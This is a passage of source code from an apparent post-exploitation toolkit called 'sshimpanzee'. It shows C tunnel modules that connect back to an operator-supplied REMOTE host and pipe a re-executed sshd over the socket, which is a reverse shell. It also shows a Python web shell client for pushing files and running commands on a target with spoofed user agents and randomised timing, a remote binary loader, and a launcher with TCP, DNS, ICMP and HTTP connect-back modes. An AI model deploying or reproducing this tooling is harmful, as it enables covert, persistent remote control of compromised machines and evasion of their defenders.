0;\n+\t\t\t    if(n == 0 && n2 == 0) {\n+\t\t\t      exit(0);\n+\t\t\t    }\n+\t\t\t    if(n < 0) {\n+\t\t\t      fprintf(stderr, \"Error occured\\n\");\n+\t\t\t      perror(\"recv\");\n+\t\t\t      break;\n+\t\t\t    }\n+\t\t\t  }\n+\n+\n+\t\t}\n+\t}\n \treturn 0;\n }\n \ndiff --git a/tun.c b/tun.c\nnew file mode 100644\nindex 0000000..fdbb7be\n--- /dev/null\n+++ b/tun.c\n@@ -0,0 +1,151 @@\n+#include <stdio.h>\n+#include <stdlib.h>\n+#include <string.h>\n+#include <errno.h>\n+#include <poll.h>\n+#include \"ws_api.h\"\n+#include <signal.h>\n+#include <sys/wait.h>\n+#include <sys/types.h> \n+\n+extern char **environ;\n+\n+\n+void sighandler(int sig)\n+{\n+    int status;\n+    wait(&status);\n+}\n+\n+int onclose(wsclient *c) {\n+\tfprintf(stderr, \"onclose called: %d\\n\", c->sockfd);\n+\treturn 0;\n+}\n+\n+int onerror(wsclient *c, wsclient_error *err) {\n+\tfprintf(stderr, \"onerror: (%d): %s\\n\", err->code, err->str);\n+\tif(err->extra_code) {\n+\t\terrno = err->extra_code;\n+\t\tperror(\"recv\");\n+\t}\n+\treturn 0;\n+}\n+\n+int onmessage(wsclient *c, wsclient_message *msg) {\n+  //fprintf(stderr, \"onmessage: (%llu): %s\\n\", msg->payload_len, msg->payload);\n+  write(1, msg->payload, msg->payload_len);\n+\n+  return 0;\n+}\n+\n+int onopen(wsclient *c) {\n+  //fprintf(stderr, \"onopen called: %d\\n\", c->sockfd);\n+  //\tlibwsclient_send(c, \"Hello onopen\");\n+\treturn 0;\n+}\n+\n+\n+int tun(){\n+  char\tconfig_file[2048];\n+  int fd0[2];\n+  int fd1[2];\n+\n+  fd_set fds;\n+  int pid;\n+  int ret;\n+  int fifo_out;\n+  int fifo_in;\n+  struct sigaction sa;\n+  \n+ memset(&sa, 0, sizeof(sa));\n+ sa.sa_handler = sighandler;\n+\n+ sigaction(SIGCHLD, &sa, NULL);\n+ sigaction(SIGKILL, &sa, NULL);\n+ \n+ \n+  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n+  memset(config_file, 0, sizeof(config_file));\n+  \n+  readlink(\"/proc/self/exe\", config_file,\n+\t  sizeof(config_file));\n+  printf(\"Exec : %s\\n\", config_file);\n+  \n+  pipe(fd0);\n+  pipe(fd1);\n+  \n+  pid = fork();\n+  if (pid==0){ \n+   dup2(fd0[0], 0);\n+   dup2(fd1[1], 1);\n+   close(fd0[1]);\n+   close(fd1[0]);\n+   \n+   execve(config_file, args ,environ); \n+  }\n+  else{\n+    \n+   dup2(fd1[0], 0);\n+   dup2(fd0[1], 1);\n+   run(getenv(\"REMOTE\"));\n+   }\n+   kill(pid, SIGKILL);\n+   waitpid(pid,&pid, WEXITED|WSTOPPED);  \n+\n+\n+}\n+\n+int run(char *argv) {\n+\t//Initialize new wsclient * using specified URI\n+  wsclient *client = libwsclient_new(argv);\n+\tsocklen_t len;\n+\tchar recv_buf[256];\n+\tint n, n1, n2;\n+\tint flags;\n+\tstruct pollfd struct_fds[1];\n+\t\n+\tif(!client) {\n+\t\tfprintf(stderr, \"Unable to initialize new WS client.\\n\");\n+\t\texit(1);\n+\t}\n+\t//set callback functions for this client\n+\tlibwsclient_onopen(client, &onopen);\n+\tlibwsclient_onmessage(client, &onmessage);\n+\tlibwsclient_onerror(client, &onerror);\n+\tlibwsclient_onclose(client, &onclose);\n+\t//bind helper UNIX socket to \"test.sock\"\n+\t//One can then use netcat (nc) to send data to the websocket server end on behalf of the client, like so:\n+\t// $> echo -n \"some data that will be echoed by echo.websocket.org\" | nc -U test.sock\n+\t//libwsclient_helper_socket(client, \"test.sock\");\n+\tlibwsclient_run(client);\n+\tstruct_fds[0].fd = 0;\n+\tstruct_fds[0].events = POLLIN;\n+\n+\tn = 1;\n+\twhile(1) {\n+\t  struct_fds[0].fd = 0;\n+\t  struct_fds[0].events = POLLIN;\n+\t  memset(recv_buf, 0, 256);\n+\t  \n+\t  n = poll( struct_fds, 1, 0);\n+\t  if (n && (struct_fds[0].revents==POLLIN))\n+\t    {\n+\t      n = read(0, recv_buf, 256, 0);\n+\t      //\t\t\t    write(2, recv_buf, n);\n+\t      libwsclient_send_binary(client, recv_buf, n);\n+\t      flags = 0;\n+\t      if(n == 0 && n2 == 0) {\n+\t\texit(0);\n+\t      }\n+\t      if(n < 0) {\n+\t\tfprintf(stderr, \"Error occured\\n\");\n+\t\tperror(\"recv\");\n+\t\tbreak;\n+\t      }\n+\t    }\n+\t  \n+\t  \n+\t}\n+\treturn 0;\n+}\n+\ndiff --git a/ws_api.h b/ws_api.h\nnew file mode 100644\nindex 0000000..027adbb\n--- /dev/null\n+++ b/ws_api.h\n@@ -0,0 +1,140 @@\n+#ifndef WSCLIENT_H_\n+#define WSCLIENT_H_\n+\n+#include <stdint.h>\n+#include <pthread.h>\n+#include <sys/socket.h>\n+#include <sys/types.h>\n+#include <sys/un.h>\n+#include <stddef.h>\n+\n+#include \"config.h\"\n+\n+\n+#ifdef HAVE_LIBSSL\n+#include <openssl/ssl.h>\n+#include <openssl/err.h>\n+#include <openssl/crypto.h>\n+#endif\n+\n+\n+\n+#define FRAME_CHUNK_LENGTH 1024\n+#define HELPER_RECV_BUF_SIZE 1024\n+\n+#define CLIENT_IS_SSL (1 << 0)\n+#define CLIENT_CONNECTING (1 << 1)\n+#define CLIENT_SHOULD_CLOSE (1 << 2)\n+#define CLIENT_SENT_CLOSE_FRAME (1 << 3)\n+\n+\n+#define REQUEST_HAS_CONNECTION (1 << 0)\n+#define REQUEST_HAS_UPGRADE (1 << 1)\n+#define REQUEST_VALID_STATUS (1 << 2)\n+#define REQUEST_VALID_ACCEPT (1 << 3)\n+\n+#define WS_FRAGMENT_START (1 << 0)\n+#define WS_FRAGMENT_FIN (1 << 7)\n+\n+#define WS_FLAGS_SSL_INIT (1 << 0)\n+\n+#define WS_EXIT_MALLOC -1\n+#define WS_EXIT_PTHREAD_MUTEX_INIT -2\n+#define WS_EXIT_PTHREAD_CREATE -3\n+#define WS_EXIT_BAD_SCHEME -4\n+\n+\n+#define WS_OPEN_CONNECTION_ADDRINFO_ERR -1\n+#define WS_OPEN_CONNECTION_ADDRINFO_EXHAUSTED_ERR -2\n+#define WS_RUN_THREAD_RECV_ERR -3\n+#define WS_DO_CLOSE_SEND_ERR -4\n+#define WS_HANDLE_CTL_FRAME_SEND_ERR -5\n+#define WS_COMPLETE_FRAME_MASKED_ERR -6\n+#define WS_DISPATCH_MESSAGE_NULL_PTR_ERR -7\n+#define WS_SEND_AFTER_CLOSE_FRAME_ERR -8\n+#define WS_SEND_DURING_CONNECT_ERR -9\n+#define WS_SEND_NULL_DATA_ERR -10\n+#define WS_SEND_DATA_TOO_LARGE_ERR -11\n+#define WS_SEND_SEND_ERR -12\n+#define WS_HANDSHAKE_REMOTE_CLOSED_ERR -13\n+#define WS_HANDSHAKE_RECV_ERR -14\n+#define WS_HANDSHAKE_BAD_STATUS_ERR -15\n+#define WS_HANDSHAKE_NO_UPGRADE_ERR -16\n+#define WS_HANDSHAKE_NO_CONNECTION_ERR -17\n+#define WS_HANDSHAKE_BAD_ACCEPT_ERR -18\n+#define WS_HELPER_ALREADY_BOUND_ERR -19\n+#define WS_HELPER_CREATE_SOCK_ERR -20\n+#define WS_HELPER_BIND_ERR -21\n+#define WS_HELPER_LISTEN_ERR -22\n+\n+typedef struct _wsclient_frame {\n+\tunsigned int fin;\n+\tunsigned int opcode;\n+\tunsigned int mask_offset;\n+\tunsigned int payload_offset;\n+\tunsigned int rawdata_idx;\n+\tunsigned int rawdata_sz;\n+\tunsigned long long payload_len;\n+\tchar *rawdata;\n+\tstruct _wsclient_frame *next_frame;\n+\tstruct _wsclient_frame *prev_frame;\n+\tunsigned char mask[4];\n+} wsclient_frame;\n+\n+typedef struct _wsclient_message {\n+\tunsigned int opcode;\n+\tunsigned long long payload_len;\n+\tchar *payload;\n+} wsclient_message;\n+\n+typedef struct _wsclient_error {\n+\tint code;\n+\tint extra_code;\n+\tchar *str;\n+} wsclient_error;\n+\n+typedef struct _wsclient {\n+\tpthread_t helper_thread;\n+\tpthread_t handshake_thread;\n+\tpthread_t run_thread;\n+\tpthread_mutex_t lock;\n+\tpthread_mutex_t send_lock;\n+\tchar *URI;\n+\tint sockfd;\n+\tint flags;\n+\tint (*onopen)(struct _wsclient *);\n+\tint (*onclose)(struct _wsclient *);\n+\tint (*onerror)(struct _wsclient *, wsclient_error *err);\n+\tint (*onmessage)(struct _wsclient *, wsclient_message *msg);\n+\twsclient_frame *current_frame;\n+\tstruct sockaddr_un helper_sa;\n+\tint helper_sock;\n+#ifdef HAVE_LIBSSL\n+\tSSL_CTX *ssl_ctx;\n+\tSSL *ssl;\n+#endif\n+} wsclient;\n+\n+\n+//Function defs\n+\n+wsclient *libwsclient_new(const char *URI);\n+wsclient_error *libwsclient_new_error(int errcode);\n+ssize_t _libwsclient_read(wsclient *c, void *buf, size_t length);\n+ssize_t _libwsclient_write(wsclient *c, const void *buf, size_t length);\n+int libwsclient_open_connection(const char *host, const char *port);\n+int stricmp(const char *s1, const char *s2);\n+int libwsclient_complete_frame(wsclient *c, wsclient_frame *frame);\n+void libwsclient_handle_control_frame(wsclient *c, wsclient_frame *ctl_frame);\n+void libwsclient_run(wsclient *c);\n+void libwsclient_finish(wsclient *client);\n+void *libwsclient_run_thread(void *ptr);\n+void *libwsclient_handshake_thread(void *ptr);\n+void libwsclient_cleanup_frames(wsclient_frame *first);\n+void libwsclient_in_data(wsclient *c, char in);\n+void libwsclient_dispatch_message(wsclient *c, wsclient_frame *current);\n+void libwsclient_close(wsclient *c);\n+int libwsclient_helper_socket(wsclient *c, const char *path);\n+void *libwsclient_helper_socket_thread(void *ptr);\n+\n+#endif /* WSCLIENT_H_ */\ndiff --git a/wsclient.c b/wsclient.c\nindex 4847a9f..fbe0fff 100644\n--- a/wsclient.c\n+++ b/wsclient.c\n@@ -440,8 +440,8 @@ void *libwsclient_helper_socket_thread(void *ptr) {\n \t\t\t\tbreak;\n \t\t\t}\n \t\t\tif(n != 0 && n2 != 0) {\n-\t\t\t\tlibwsclient_send_fragment(c, secondary_buf, n2, flags);\n-\t\t\t\tflags &= ~WS_FRAGMENT_START;\n+\t\t\t\tlibwsclient_send_fragment(c, secondary_buf, n2, flags | WS_FRAGMENT_FIN);\n+\t\t\tflags &= ~WS_FRAGMENT_START;\n \t\t\t}\n \t\t\tif(n > 0) {\n \t\t\t\tmemset(secondary_buf, 0, HELPER_RECV_BUF_SIZE);\n@@ -1057,6 +1057,131 @@ int libwsclient_send(wsclient *client, char *strdata)  {\n \treturn sent;\n }\n \n+\n+\n+int libwsclient_send_binary(wsclient *client, char *strdata, size_t len)  {\n+\twsclient_error *err = NULL;\n+\tstruct timeval tv;\n+\tunsigned char mask[4];\n+\tunsigned int mask_int;\n+\tunsigned long long payload_len;\n+\tunsigned char finNopcode;\n+\tunsigned int payload_len_small;\n+\tunsigned int payload_offset = 6;\n+\tunsigned int len_size;\n+\tunsigned long long be_payload_len;\n+\tunsigned int sent = 0;\n+\tint i, sockfd;\n+\tunsigned int frame_size;\n+\tchar *data;\n+\n+\tsockfd = client->sockfd;\n+\n+\tif(client->flags & CLIENT_SENT_CLOSE_FRAME) {\n+\t\tif(client->onerror) {\n+\t\t\terr = libwsclient_new_error(WS_SEND_AFTER_CLOSE_FRAME_ERR);\n+\t\t\tclient->onerror(client, err);\n+\t\t\tfree(err);\n+\t\t\terr = NULL;\n+\t\t}\n+\t\treturn 0;\n+\t}\n+\tif(client->flags & CLIENT_CONNECTING) {\n+\t\tif(client->onerror) {\n+\t\t\terr = libwsclient_new_error(WS_SEND_DURING_CONNECT_ERR);\n+\t\t\tclient->onerror(client, err);\n+\t\t\tfree(err);\n+\t\t\terr = NULL;\n+\t\t}\n+\t\treturn 0;\n+\t}\n+\tif(strdata == NULL) {\n+\t\tif(client->onerror) {\n+\t\t\terr = libwsclient_new_error(WS_SEND_NULL_DATA_ERR);\n+\t\t\tclient->onerror(client, err);\n+\t\t\tfree(err);\n+\t\t\terr = NULL;\n+\t\t}\n+\t\treturn 0;\n+\t}\n+\n+\tgettimeofday(&tv, NULL);\n+\tsrand(tv.tv_usec * tv.tv_sec);\n+\tmask_int = rand();\n+\tmemcpy(mask, &mask_int, 4);\n+\tpayload_len = len;\n+\tfinNopcode = 0x82; //FIN and text opcode.\n+\tif(payload_len <= 125) {\n+\t\tframe_size = 6 + payload_len;\n+\t\tpayload_len_small = payload_len;\n+\n+\t} else if(payload_len > 125 && payload_len <= 0xffff) {\n+\t\tframe_size = 8 + payload_len;\n+\t\tpayload_len_small = 126;\n+\t\tpayload_offset += 2;\n+\t} else if(payload_len > 0xffff && payload_len <= 0xffffffffffffffffLL) {\n+\t\tframe_size = 14 + payload_len;\n+\t\tpayload_len_small = 127;\n+\t\tpayload_offset += 8;\n+\t} else {\n+\t\tif(client->onerror) {\n+\t\t\terr = libwsclient_new_error(WS_SEND_DATA_TOO_LARGE_ERR);\n+\t\t\tclient->onerror(client, err);\n+\t\t\tfree(err);\n+\t\t\terr = NULL;\n+\t\t}\n+\t\treturn -1;\n+\t}\n+\tdata = (char *)malloc(frame_size);\n+\tmemset(data, 0, frame_size);\n+\t*data = finNopcode;\n+\t*(data+1) = payload_len_small | 0x80; //payload length with mask bit on\n+\tif(payload_len_small == 126) {\n+\t\tpayload_len &= 0xffff;\n+\t\tlen_size = 2;\n+\t\tfor(i = 0; i < len_size; i++) {\n+\t\t\t*(data+2+i) = *((char *)&payload_len+(len_size-i-1));\n+\t\t}\n+\t}\n+\tif(payload_len_small == 127) {\n+\t\tpayload_len &= 0xffffffffffffffffLL;\n+\t\tlen_size = 8;\n+\t\tfor(i = 0; i < len_size; i++) {\n+\t\t\t*(data+2+i) = *((char *)&payload_len+(len_size-i-1));\n+\t\t}\n+\t}\n+\tfor(i=0;i<4;i++)\n+\t\t*(data+(payload_offset-4)+i) = mask[i];\n+\n+\tmemcpy(data+payload_offset, strdata, len);\n+\tfor(i=0;i<len;i++)\n+\t\t*(data+payload_offset+i) ^= mask[i % 4] & 0xff;\n+\tsent = 0;\n+\ti = 0;\n+\n+\tpthread_mutex_lock(&client->send_lock);\n+\twhile(sent < frame_size && i >= 0) {\n+\t\ti = _libwsclient_write(client, data+sent, frame_size - sent);\n+\t\tsent += i;\n+\t}\n+\tpthread_mutex_unlock(&client->send_lock);\n+\n+\tif(i < 0) {\n+\t\tif(client->onerror) {\n+\t\t\terr = libwsclient_new_error(WS_SEND_SEND_ERR);\n+\t\t\tclient->onerror(client, err);\n+\t\t\tfree(err);\n+\t\t\terr = NULL;\n+\t\t}\n+\t}\n+\n+\tfree(data);\n+\treturn sent;\n+}\n+\n+\n+\n+\n ssize_t _libwsclient_read(wsclient *c, void *buf, size_t length) {\n #ifdef HAVE_LIBSSL\n \tif(c->flags & CLIENT_IS_SSL) {\ndiff --git a/wsclient.h b/wsclient.h\nindex 5850aa8..8f06ed8 100644\n--- a/wsclient.h\n+++ b/wsclient.h\n@@ -137,6 +137,8 @@ void libwsclient_close(wsclient *c);\n int libwsclient_helper_socket(wsclient *c, const char *path);\n void *libwsclient_helper_socket_thread(void *ptr);\n \n+\n+\n //Define errors\n char *errors[] = {\n \t\t\"Unknown error occured\",\n"
  },
  {
    "path": "tuns/sock/sock.c",
    "content": "#include  <fcntl.h>                              //\n#include  <stdio.h>                              //\n#include  <stdlib.h>                             //\n#include  <string.h>                             //\n#include  <sys/types.h>                          //\n#include  <sys/wait.h>                           //\n#include  <sys/stat.h>                           //\n#include  <termios.h>                            //\n#include  <unistd.h>            \n\n#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/un.h>\n#include <arpa/inet.h>\n\n\n\nextern char **environ;\n\nint tun(){\n  char\tconfig_file[2048];\n  char *cmdline;\n  int fd, remote;\n  struct sockaddr addr;\n  int pid,status;\n  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n  memset(config_file, 0, sizeof(config_file));\n  \n  readlink(\"/proc/self/exe\", config_file,\n\t  sizeof(config_file));\n  printf(\"Exec : %s\\n\", config_file);\n  memset(&addr, 0, sizeof(addr));\n\n  if (getenv(\"SSHIM_UNIX\"))\n    {\n      if ((fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0) {\n\t\tperror(\"socket\");\n      }\n      (( struct sockaddr_un*)&addr)->sun_family = AF_UNIX;\n      if (!getenv(\"UNIXPATH\"))\n\t{\n\t  puts(\"Missing arg UNIXPATH\");\n\t  exit(-1);\n\t}\n      strcpy(((struct sockaddr_un*)&addr)->sun_path, getenv(\"UNIXPATH\"));\n\n    }\n    else\n    {\n      fd = socket(AF_INET, SOCK_STREAM, 0);\t\n      ((struct sockaddr_in*) &addr)->sin_family = AF_INET;\n      if (!getenv(\"REMOTE\"))\n\t{\n\t  puts(\"Missing arg REMOTE\");\n\t  exit(-1);\n\t}\n\n      if (!getenv(\"PORT\"))\n\t{\n\t  puts(\"Missing arg PORT\");\n\t  exit(-1);\n\t}\n      inet_pton(AF_INET, getenv(\"REMOTE\"), &((struct sockaddr_in*)&addr)->sin_addr);\n      ((struct sockaddr_in*) &addr)->sin_port = htons(atoi(getenv(\"PORT\"))); \n    }\n  \n  if (getenv(\"SSHIM_LISTEN\"))\n   {   \n     if (bind(fd, (struct sockaddr*) &addr, sizeof(addr)) != 0) {\n       perror(\"bind()\");\n       exit(1);\n     }\n\n  if (listen(fd, 10) != 0)\n    {\n        perror(\"listen()\");\n        exit(1);\n    }\n  remote = accept(fd, NULL, NULL);\n   }\n   \n   else\n     {\n       if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {\n\t\t\tperror(\"connect\");\t\t   \n       }\n  remote = fd;\n     }\n\n\n   //\t    dup2(fd, 2);\n   pid = fork();\n   if (pid == 0)\n     {\n     dup2(remote, 0);\n     dup2(remote, 1);\n     execve(config_file, args ,environ);\n     }\n   else\n     wait(&status);\n   return (0);\n}\n"
  },
  {
    "path": "utils/client/bin/active_chan",
    "content": "#!/bin/sh\n\n\nscript_path=\"$(realpath -s \"$0\")\"\nsshim_dir=$(realpath $(dirname $script_path)/../)/\n\nn=0\nfor i in $(ls $sshim_dir/socks);\ndo\n    if [[ $1 = \"n\" ]];\n    then \n\tssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $n $i;) ||  rm $sshim_dir/socks/$i\n    fi\n    \n    if [[ -z $1 ]];\n    then\n       ssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $i;) ||  rm $sshim_dir/socks/$i    \n    fi;\n\n    if [[ $1 = \"g\" && $2 = $n ]];\n    then\n\tssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $i;) ||  rm $sshim_dir/socks/$i    \n    fi;\n    n={{$n+1}}\ndone;\n"
  },
  {
    "path": "utils/client/bin/proxy_cli.py",
    "content": "import sys\nimport select\nimport fcntl\nimport os\nimport requests\nimport base64\nimport random\nimport time\nimport argparse\nimport urllib3\n\nurllib3.disable_warnings()\n\n\n\nBUFFER_RANDOM=5\n\nkey = None\nheaders = {}\nproxies = {}\nsession = None\n\nparser = argparse.ArgumentParser(description='Python web shell client.', conflict_handler='resolve', formatter_class=argparse.RawDescriptionHelpFormatter)\n\nparser.add_argument('url', type=str, help='Target url')\nparser.add_argument('key', type=str, help='Authentication key')\nparser.add_argument('--no-buffer', action='store_const', help='Authentication key', const=True)\nparser.add_argument(\"--run\", type=str, help='Command to run instead of ssh')\nparser.add_argument(\"--timeout\", type=int, help='Timeout for http request', default=7)\nparser.add_argument(\"--push\", type=list, help='push a file on the remote filesystem: --push [src] [destination]', nargs=2)\nparser.add_argument(\"--user-agent\", type=str, help='Custom user agent', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36')\n\nparser.add_argument(\"--proxy\", '-x', type=str, help='Proxy')\nparser.add_argument(\"--no-tls-verify\", \"-k\", help='Disable TLS server verification', default=True, action='store_const', const=False)\n\nparser.add_argument(\"--connect\", help='Create a socket connection (only available in JSP)', type=str)\n\ndef connect(pth, connection, verify=True, timeout=7):\n    remote = connection.split(\":\")\n    if len(remote) != 2 or not remote[1].isnumeric() or 1 > int(remote[1]) > 65535:\n        print(\"[-] Connect argument should be of format REMOTE:PORT\")\n    session.post(pth, {\"TODO\": \"CONNECT\", \"REMOTE\": remote[0], \"PORT\": remote[1]})\n\ndef drop(pth, what, where, verify=True, timeout=7):\n    with open(what, 'rb') as reader:\n        r = reader.read(1024)\n        c = r\n        while len(r)==1024:\n            r = reader.read()\n        b64 = base64.b64encode(c)\n        x = session.post(pth, {\"TODO\": \"DROP\", \"KEY\": key, \"WHAT\":b64, \"WHERE\" : where}, headers=headers, proxies=proxies, timeout=timeout, verify=verify)\n    \n        \ndef run(pth, where, verify=True, timeout=7):\n    x = session.post(pth, {\"TODO\": \"START\", \"KEY\": key, \"WHERE\" : where}, headers=headers, proxies=proxies, timeout=timeout,  verify=verify)\n    print(x.content)\n    \n\ndef pull_data(pth, verify=True, timeout=7):\n    success = False\n    while not success:\n        try:\n            x = session.post(pth, {\"TODO\": \"READ\", \"KEY\":key}, headers=headers, proxies=proxies, timeout=timeout, verify=verify)\n            success = True\n        except Exception as e:\n            print(f\"[proxy_cli.py - write_data] Exception on request: {e}\", file=sys.stderr)\n        \n    if (not x or x.status_code == 201):\n        print(\"[proxy_cli.py - pull_data] sshimpanzee agent not running on target\",  file=sys.stderr)\n        sys.exit(-1)    \n    if (x.content!=\"\"):\n        b = base64.b64decode(x.content)\n    #sys.stderr.buffer.write(b)\n    #sys.stderr.buffer.flush()\n    sys.stdout.buffer.write(b)\n    sys.stdout.buffer.flush()\n    return\n\n\ndef write_data(pth,d, verify=True, timeout=7):\n    b = base64.b64encode(d)\n    success = False\n    while not success:\n        try:\n            x = session.post(pth, {\"TODO\":\"WRITE\" , \"DATA\":b, \"KEY\": key}, headers=headers, proxies=proxies, verify=verify)\n            if x.status_code == 200:\n                success = True\n            else:\n                print(f\"[proxy_cli.py - write_data] Obtained status code {x.status_code} on write...\", file=sys.stderr)\n        except Exception as e:\n            print(f\"[proxy_cli.py - write_data] Exception on request: {e}\", file=sys.stderr)\n\n    #print(x.content, file=sys.stderr)\n    return x.status_code\n\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n    key = args.key\n    headers['User-Agent'] = args.user_agent\n    session = requests.Session()\n\n    if args.proxy:\n        proxies[\"http\"] = args.proxy\n        proxies[\"https\"] = args.proxy\n    if args.connect:\n        connect(args.url, args.connect)\n        \n    if not (args.push or args.run):        \n\n        orig_fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL)\n        fcntl.fcntl(sys.stdin, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK)\n\n        while True:\n            i = [sys.stdin]\n            if args.no_buffer:\n                ins, _, _  = select.select(i, [], [], random.randint(1,5))\n            else:\n                timer = random.randint(1,BUFFER_RANDOM)\n                time.sleep(timer)\n                ins, _, _  = select.select(i, [], [], 0)\n            if len(ins) != 0:\n                x = sys.stdin.buffer.read()\n                write_data(args.url,x,  verify=args.no_tls_verify, timeout=args.timeout)\n            pull_data(args.url,  verify=args.no_tls_verify, timeout=args.timeout)\n    if args.push:\n        drop(args.url, args.push[0], args.push[1],  verify=args.no_tls_verify, timeout=args.timeout)\n\n    elif args.run:\n        run(args.url, args.run,  verify=args.no_tls_verify, timeout=args.timeout)\n\n\n        \n"
  },
  {
    "path": "utils/client/bin/remote_loader.py",
    "content": "#/bin/python\n\nimport subprocess\nfrom subprocess import Popen, PIPE\nimport argparse\nimport os\nimport time\nimport select\nimport sys\nimport fcntl\n\nparser = argparse.ArgumentParser(description='Remote loader')\nparser.add_argument('ssh_socket',\n                    help='Path to ssh socket')\n\n\nparser.add_argument('client',\n                    help='path to the client executable file and arguments, use \"-\" for stdin/stdout')\n\n\nparser.add_argument('server',\n                    help='path to the server executable file')\n\nparser.add_argument('arguments', help='Argument to the remote executable', default=[], nargs='*')\n\n\nargs = parser.parse_args()\narguments = \" \".join(args.arguments)\n\nstat = os.stat(args.server)\nprint(f\"[*] Running \\\"{args.server} {arguments}\\\" on remote server ...\")\nssh_command = f\"ssh -S {args.ssh_socket} . -s remote-exec\"\nprint(f\"[+] Using socket @ {args.ssh_socket} (cmdline: {ssh_command})\")\n\nenv = os.environ.copy()\nprocess = Popen(ssh_command, stdin=PIPE, stdout=PIPE, stderr=None, shell=True, env=env)\n\nb = f\"{args.server} \".encode()\nx = process.stdout.read(26)\nprocess.stdin.write(b)\ntry:\n    process.stdin.flush() \nexcept:\n    while(True):\n        x = process.stderr.readline()\n        if not x:\n            break\n        else :\n            print(x)\n        \nb = f\"{stat.st_size}\".encode()\nprocess.stdin.write(b)\ntry:\n    process.stdin.flush() \nexcept:\n    print(process.stderr.readline())\n\n\nif len(arguments) != 0:\n    arguments += \" \"\n\nb = f\" {arguments}\\n\".encode()\nprocess.stdin.write(b)\ntry:\n    process.stdin.flush() \nexcept:\n    print(process.stderr.readline())\n\ntime.sleep(1)\nprint(\"[+] Starting file transfer\")\nwith open(args.server, \"rb\") as f:\n    while True:\n        chunk = f.read()\n        process.stdin.write(chunk)\n        if not chunk:\n            break\n        \n    print(\"[+] File has been transfered, running it\")\ntry:\n    process.stdin.flush() \nexcept:\n    pass\n\nif args.client != \"-\":\n    process_client = Popen(args.client, stdin=PIPE, stdout=PIPE, stderr=None, shell=True, env=env)\n    stdout = process_client.stdout\n    stdin = process_client.stdin\nelse:\n    stdout = sys.stdin.buffer\n    stdin = sys.stdout.buffer\n\ninputs  = [ process.stdout, stdout ]\noutputs = []\n\n\norig_fl = fcntl.fcntl(process.stdout, fcntl.F_GETFL)\nfcntl.fcntl(process.stdout, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK)\norig_fl_cli = fcntl.fcntl(stdout, fcntl.F_GETFL)\nfcntl.fcntl(stdout, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK)\n\n\nc = True\nwhile c:\n    readable, writable, exceptional = select.select(inputs, outputs, inputs)\n    for i in readable:\n        if i == process.stdout:\n            x = i.read()\n            stdin.write(x)\n            stdin.flush()\n            if not x:\n                c = False\n        elif i == stdout:\n            x = i.read()\n            process.stdin.write(x)\n            process.stdin.flush()\n            if not x:\n                c = False\n"
  },
  {
    "path": "utils/client/bin/sshimpanzee",
    "content": "#!/bin/sh\n\nscript_path=\"$(realpath -s \"$0\")\"\nsshim_dir=$(realpath $(dirname $script_path)/../)/\n\nsshim_key=$sshim_dir/keys/CLIENT\nsshim_socks=\"$sshim_dir\"/socks\nsshim_conf=\"$sshim_dir\"/config/ssh_config\n\ncmd_sock_name='echo \"$(whoami)@$(hostname)\"'\n\nif [[ \"--list\" = $1 ]];\nthen\n    $sshim_dir/bin/active_chan n\n    exit\nfi\n\nif [[ \"--new\" = $1 ]];\nthen\n    if [[ -z $2 ]];\n    then\n\tport=8080;\n    else\n\tport=$2;\n    fi\n    \n    echo Waiting for connect back direct TCP on port $port;\n    ssh -f  -S $sshim_socks/t -i $sshim_key -F $sshim_conf -o\"ProxyCommand=nc -lp $port\"  test -N;\n    sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name)\n    mv $sshim_socks/t $sshim_socks/$sockname\n    echo \"Session $sockname has been created\"\n    exit\nfi\n\nif [[ \"--new-dns\" = $1 ]];\nthen\n    if [[ ! -f $sshim_dir/bin/dns2tcpd ]];\n    then\n\techo \"Missing dns2tcpd binary in bin/\"\n\techo \"copy the build dns2tcpd in tuns/dns2tcp/server/ to utils/client/bin/\"\n        exit\n    fi\n    echo Waiting for connect back DNS...;\n    if ! pgrep dns2tcpd >/dev/null;\n    then\n\tsudo $sshim_dir/bin/dns2tcpd -f $sshim_dir/config/dnsconf.txt\n    fi;\n    ssh -f  -S $sshim_socks/t  -i $sshim_key -F $sshim_conf  -o\"ProxyCommand=nc -lp 8080 -s 127.0.0.1\" test -N  \n    sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name)\n    mv $sshim_socks/t $sshim_socks/$sockname\n    echo \"Session $sockname has been created\"\n    exit\nfi\n\nif [[ \"--new-icmp\" = $1 ]];\nthen\n    if [[ ! -f $sshim_dir/bin/icmptunnel ]];\n    then\n\techo \"Missing icmptunnel binary in bin/\"\n\techo \"copy the built icmptunnel in tuns/icmptunnel/ to utils/client/bin/\"\n\techo \"give it cap_net_raw cap to avoir run it as root:\"\n\techo \"sudo setcap cap_net_raw=eip ./icmptunnel\"\n        exit\n    fi\n    echo Waiting for connect back through ICMP...;\n    ssh -f  -S $sshim_socks/t -F $sshim_conf  -i $sshim_key  -o\"ProxyCommand=$sshim_dir/bin/icmptunnel\" root@test -N  \n    sockname=$(ssh  -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name)\n    mv $sshim_socks/t $sshim_socks/$sockname\n    echo \"Session $sockname has been created\"\n    exit\nfi\n\nif [[ \"--new-http\" = $1 ]];\nthen\n    if [[ -z $2 ]];\n    then\n\techo \"Please provide the proxy url...\"\n\texit\n    fi\n    if [[ -z $3 ]];\n    then\n\techo \"Please provide the key argument...\"\n\texit\n    fi\n    echo Initiating connexion to proxy at $2 using encryption key $3...;\n    ssh -f  -S $sshim_socks/t -F $sshim_conf  -i $sshim_key -o\"ProxyCommand=python $sshim_dir/bin/proxy_cli.py $2 $3\" test -N  \n    sockname=$(ssh  -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name)\n    mv $sshim_socks/t 